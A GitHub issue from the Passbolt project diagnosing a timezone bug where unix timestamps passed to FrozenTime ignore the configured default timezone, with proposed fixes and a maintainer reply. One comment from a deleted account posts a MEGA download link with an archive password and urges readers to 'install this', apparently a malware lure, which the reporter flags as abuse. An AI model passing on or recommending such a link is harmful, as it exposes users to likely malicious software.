Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Timezone issue in GpgkeysIndexController.php #522

Open
glingy opened this issue Sep 29, 2024 · 3 comments
Open

Timezone issue in GpgkeysIndexController.php #522

glingy opened this issue Sep 29, 2024 · 3 comments
Assignees

Comments

@glingy
Copy link

glingy commented Sep 29, 2024

ISSUE NAME

  • Passbolt Version: 57e2150
  • Platform and Target:
    -- Operating system: RHEL8
    -- PHP: php8.1
    -- Web server: N/A
    -- Database server: N/A

What you did

Configure pass bolt with app->defaultTimezone as 'America/Chicago'. Create an admin user, open users tab (this loads the public keys from gpgkeys.json). Invite a new user, they complete onboarding, then attempt to add them to a group within a few hours of them creating their account.

What happened

It will fail with the error this.keyring.findPublic(...) is undefined in a popup dialog.

What you expected to happen

Add them to the group.

Diagnosis

This appears to be an issue with timezones, specifically based on
PNG image in DateTimeImmutable documentation.

https://www.php.net/manual/en/datetimeimmutable.construct.php
called by
https://github.com/cakephp/chronos/blob/790a2d83704f0e3eaa934de6c9be4083afd01482/src/Chronos.php#L260
called by
https://github.com/cakephp/cakephp/blob/9cb11c941566cae80a825889a2c007e1860abbd3/src/I18n/FrozenTime.php#L141
called by

$query->where(['deleted' => $options['filter']['is-deleted'] ?? false]);

Evaluating that call stack shows that when a unix timestamp is passed into FrozenTime, default timezone settings are ignored. Since i18nFormat assumes the timezone of the FrozenTime is what it should output (and the i18nFormat format string has no timezone in it), it outputs a UTC time string, but the database times are in America/Chicago (as configured in config/passbolt.php)

$modified = new FrozenTime($options['filter']['modified-after']);
-> new FrozenTime("1727569483")
-> new Chronos("@1727569483", null) // is_numeric("1727569483") == true
-> new DateTimeImmutable("@1727569483")
-> The $timezone parameter and the current timezone are ignored when the $datetime parameter either is a UNIX timestamp (e.g. @946684800) or specifies a timezone (e.g. 2010-01-28T15:00:00+02:00, or 2010-07-05T06:00:00Z).

So the timezone of $modified is set to UTC instead of the configured default timezone and i18nFormat uses UTC to output the time string:
$modified->i18nFormat('yyyy-MM-dd HH:mm:ss')
-> https://github.com/cakephp/cakephp/blob/9cb11c941566cae80a825889a2c007e1860abbd3/src/I18n/DateFormatTrait.php#L139

https://github.com/cakephp/cakephp/blob/9cb11c941566cae80a825889a2c007e1860abbd3/src/I18n/DateFormatTrait.php#L192
-> $date->getTimezone() is UTC which means the date compared in the SQL query is in UTC, not the configured system time.

Possible Solutions

  1. Use UTC for all unix timestamps in the extension
    -> Change to UTC timezone in https://github.com/passbolt/passbolt_browser_extension/blob/579fe1f62e99a0141cf3a59176d7ba0fa575707d/src/all/background_page/model/keyring.js#L227

  2. Use configured timezone for all unix timestamps in server
    -> new FrozenTime($options['filter']['modified-after'], date_default_timezone_get());

  3. Use configured timezone in all i18nFormat requests:
    -> i18nFormat(..., date_default_timezone_get());

Potential other cases where this might cause an issue:

return new FrozenTime($this->settings[$provider][MfaAccountSettings::VERIFIED]);
}

@ghost
Copy link

ghost commented Sep 29, 2024

install this

https://mega.co.nz/#!qq4nATTK!oDH5tb3NOJcsSw5fRGhLC8dvFpH3zFCn6U2esyTVcJA
Archive password: changeme

you may need to install the c compiler

@glingy
Copy link
Author

glingy commented Sep 29, 2024

Reported as abuse.

@ishanvyas22
Copy link
Member

Hey @glingy, thanks for bringing this to our attention. We have created an internal ticket (PB-35722) to investigate.

@ishanvyas22 ishanvyas22 self-assigned this Sep 30, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants